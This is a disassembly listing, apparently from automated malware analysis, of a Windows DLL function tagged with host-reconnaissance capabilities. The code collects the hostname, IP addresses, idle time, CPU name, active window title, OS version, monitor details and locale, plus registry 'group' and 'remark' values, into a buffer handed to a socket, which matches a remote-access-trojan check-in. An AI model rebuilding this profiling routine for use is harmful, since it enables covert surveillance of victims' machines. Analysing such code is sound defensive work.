Function at 0x180001530
Capabilities:
Get common file path
Get geographical location
Get graphical window text
Get hostname
Get system information on windows
Resolve dns

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x22d8]
mov eax, 0x23d8
call fcn.18001e180
sub rsp, rax
mov rax, qword [0x180042240]
xor rax, rsp
mov qword [rbp + 0x22c0], rax
mov qword [rsp + 0x60], rcx
mov ecx, 0xf90
mov r12d, r9d
mov qword [rsp + 0x58], r8
mov r13d, edx
call fcn.18001c750
xor edx, edx
mov r8d, 0xf90
mov rcx, rax
mov rdi, rax
call fcn.18001df20
lea rcx, [rbp + 0x20c0]
xor edx, edx
mov r8d, 0x100
mov byte [rdi], 3
call fcn.18001df20
lea rcx, [rbp + 0x21c0]
xor edx, edx
mov r8d, 0x100
call fcn.18001df20
lea rcx, [rbp + 0x21c0]
mov edx, 0x100
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x21c0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
xor esi, esi
mov rbx, rax
test rax, rax
je 0x180001685
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rbp + 0x20c0]
mov edx, 0x100
mov r8, rax
call fcn.18001c9c8
lea r8, str._n
lea rcx, [rbp + 0x20c0]
mov edx, 0x100
call fcn.18001c9c8
mov r11, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [r11]
cmp rax, qword [rbx]
jae 0x180001685
mov rax, qword [rsi + r11 + 8]
add rsi, 8
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rbp + 0x20c0]
mov edx, 0x100
mov r8, rax
call fcn.18001c9c8
lea r8, str._n
lea rcx, [rbp + 0x20c0]
mov edx, 0x100
call fcn.18001c9c8
mov r11, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [rsi + r11]
cmp rax, qword [rbx]
jb 0x180001634
xor esi, esi
lea r8, [rbp + 0x20c0]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rdi + 2]
lea r8, [rbp + 0x20c0]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
or r9d, 0xffffffff
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rdi + 0x200]
sub eax, dword [rsp + 0x54]
mov edx, 0xa
lea r8, [0x1800398f4]
cmp eax, 0x2bf20
jbe 0x180001703
lea r8, [0x1800398f8]
call fcn.18001caa8
lea r8, [rbp + 0x21c0]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r14, [rdi + 0x214]
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x21c0]
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.180003650
lea r8, str._s__n
mov r9, r14
mov edx, 0x64
mov rcx, r14
mov rbx, rax
mov qword [rsp + 0x20], rax
call fcn.18001c7f4
test rbx, rbx
je 0x18000177c
mov rcx, rbx
call fcn.18001c9b8
lea rcx, [rdi + 0x2dc]
call fcn.1800035a0
lea rcx, [rdi + 0x318]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rdi + 0x318]
lea r8, str.ProcessorNameString
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], esi
call fcn.180003210
lea rcx, [rdi + 0x390]
call fcn.180003080
lea rcx, [rdi + 0x520]
call fcn.180003470
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1800017f3
lea rdx, [rdi + 0x598]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rdi + 0x796]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rax, str.back
lea rbx, str.main
test r12d, r12d
lea r9, [rdi + 0x796]
lea r8, str.FENZU
cmovne rbx, rax
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], 2
mov rdx, rbx
call fcn.180003210
cmp eax, 1
jge 0x180001857
lea r8, [0x1800473ec]
lea rcx, [rdi + 0x796]
mov edx, gethostbyname
call fcn.18001caa8
lea rcx, [rdi + 0x7fa]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rdi + 0x7fa]
lea r8, str.BEIZHU
mov rdx, rbx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x20], 2
call fcn.180003210
cmp eax, 1
jge 0x1800018a6
lea r8, str.2023.10
lea rcx, [rdi + 0x7fa]
mov edx, gethostbyname
call fcn.18001caa8
mov r9d, 0xa
lea rdx, [rdi + 0x85e]
mov ecx, r13d
lea r8d, [r9 + 0x28]
call fcn.18001cc20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r9d, 0xa
lea r8d, [r9 + 0x14]
lea rdx, [rdi + 0x930]
mov ecx, eax
call fcn.18001cc20
xor r11d, r11d
lea rcx, str.kernel32.dll
mov qword [rsp + 0x68], r11
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x78], r11
mov qword [rbp - 0x80], r11
mov qword [rbp - 0x78], r11
mov qword [rbp - 0x70], r11
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x180039e60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x68]
test rax, rax
je 0x180001926
call rax
jmp 0x18000192c
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x68]
mov ecx, 6
cmp cx, ax
je 0x18000194c
mov ecx, 9
lea r8, [0x1800399e8]
cmp cx, ax
jne 0x180001953
lea r8, [0x1800399e0]
lea rcx, [rdi + 0x96c]
mov edx, 0x1e
call fcn.18001caa8
lea rcx, [rdi + 0x9a8]
call fcn.180002ea0
call fcn.180002c50
lea r12, [0x1800399f0]
lea r13, [rdi + 0xa0c]
lea rsi, [0x1800399f4]
mov edx, 5
mov r8, r12
mov rcx, r13
test al, al
jne 0x18000199c
mov r8, rsi
call fcn.18001caa8
call fcn.180002af0
lea rcx, [rdi + 0xa16]
mov edx, 0xa
mov r8, r12
test eax, eax
jne 0x1800019bc
mov r8, rsi
call fcn.18001caa8
lea rcx, [rdi + 0xa2a]
call fcn.1800026d0
call fcn.1800021e0
mov rbx, rax
call fcn.1800023e0
lea rcx, [rdi + 0xc28]
test eax, eax
lea rdx, [0x1800399f8]
mov r9, rbx
cmovne rsi, r12
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rbp - 0x62]
movzx r8d, word [rbp - 0x66]
movzx r11d, word [rbp - 0x5c]
movzx eax, word [rbp - 0x5e]
movzx r10d, word [rbp - 0x60]
movzx r9d, word [rbp - 0x68]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x58]
lea rcx, [rdi + 0x8c2]
lea rdx, [0x180039a10]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rbx, [rdi + 0x926]
lea rdx, [0x180039a58]
mov rcx, rbx
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 2
lea r8, [rdi + 0xc8c]
lea r9d, [rdx + 0x3e]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea rcx, [rbp + 0xb8]
xor edx, edx
mov r8d, 0x2000
call fcn.18001df20
lea r9, [rbp + 0xb0]
lea r8, [0x180001e40]
xor edx, edx
xor ecx, ecx
mov dword [rbp + 0xb0], 0
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov r9d, dword [rbp + 0xb0]
lea rcx, [rdi + 0xccc]
cmp r9d, 1
jl 0x180001b72
lea r8, [0x180039a60]
mov edx, 0xff
call fcn.18001c7f4
xor esi, esi
cmp dword [rbp + 0xb0], esi
jle 0x180001b7f
lea rbx, [rbp + 0x11c]
nop word [rax + rax]
movsxd rax, esi
lea r9, [rdi + 0xccc]
mov edx, 0xff
shl rax, 7
cmp dword [rbx + 0x14], 0
lea r8, [0x180039a78]
lea rcx, [rbp + rax + 0xc0]
mov eax, dword [rbx]
mov dword [rsp + 0x40], eax
mov eax, dword [rbx - 8]
mov dword [rsp + 0x38], eax
mov eax, dword [rbx - 4]
mov dword [rsp + 0x30], eax
mov eax, dword [rbx - 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea rcx, [rdi + 0xccc]
jne 0x180001b56
lea r8, [0x180039aa0]
call fcn.18001c7f4
inc esi
sub rbx, 0xffffffffffffff80
cmp esi, dword [rbp + 0xb0]
jl 0x180001b00
lea rbx, [rdi + 0x926]
jmp 0x180001b7f
lea rdx, str._f:yhV:
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rdi + 0xeca]
mov edx, gethostbyname
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea rcx, [rdi + 0xf2e]
lea r9, [rdi + 0x318]
lea r8, [rdi + 0x2dc]
mov rdx, r14
test eax, eax
je 0x180001bc2
lea rax, [rbp - 0x4c]
mov qword [rsp + 0x30], rax
jmp 0x180001bcb
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
call fcn.180001c20
mov rcx, qword [rsp + 0x60]
mov r8d, 0xf90
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov ebx, eax
call fcn.18001c3a0
mov eax, ebx
mov rcx, qword [rbp + 0x22c0]
xor rcx, rsp
call fcn.18001c380
add rsp, 0x23d8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret